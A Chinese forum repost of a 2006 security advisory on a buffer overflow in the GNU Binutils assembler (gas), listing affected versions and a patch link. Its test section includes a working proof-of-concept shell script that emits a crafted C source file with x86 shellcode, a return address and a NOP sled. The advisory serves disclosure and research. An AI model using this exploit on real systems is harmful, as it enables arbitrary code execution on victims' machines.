发新话题
打印

[转载]GNU BinUtils GAS缓冲区溢出漏洞

[转载]GNU BinUtils GAS缓冲区溢出漏洞

信息来源:绿盟科技

发布日期:2006-08-17
更新日期:2006-08-18

受影响系统:
Ubuntu Linux 5.10 powerpc
Ubuntu Linux 5.10 i386
Ubuntu Linux 5.10 amd64
Ubuntu Linux 5.0 4 powerpc
Ubuntu Linux 5.0 4 i386
Ubuntu Linux 5.0 4 amd64
GNU Binutils 2.16.1
GNU Binutils 2.15
GNU Binutils 2.14
GNU Binutils 2.12
GNU Binutils 2.11
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19555

GNU BinUtils是个二进制工具集,用于执行基本二进制文件操作。

GNU BinUtils的gas(GNU汇编器)中存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限s。

如果用户或自动系统受骗使用gcc或gas汇编了特制的源文件的话,就可能导致以执行用户权限执行任意指令。

<*来源:Tavis Ormandy (taviso@gentoo.org
      Martin Pitt (martin.pitt@canonical.com
  
  链接:http://marc.theaimsgroup.com/?l= ... 83278731355&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh
#
# gas overflow poc, <taviso@gentoo.org>

returnaddr=&#39;\xc4\xea\xff\xbf&#39;
shellcode=&#39;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id&#39;

printf &#39;#include <stdio.h>\n&#39;
printf &#39;#define EGG "%s"\n&#39; "$shellcode"
printf &#39;#define RET "%s"\n&#39; "$returnaddr"
printf &#39;#define NOP "%s"\n&#39; "`perl -e &#39;print "\\\x90"x100&#39;`"
printf &#39;#define PAD "%s"\n&#39; "`perl -e &#39;print "A"x1990&#39;`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
        __asm__ (PAD RET NOP EGG);
}
__EOF__

建议:
--------------------------------------------------------------------------------
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.gentoo.org/attachment.cgi?id=63736

TOP

发新话题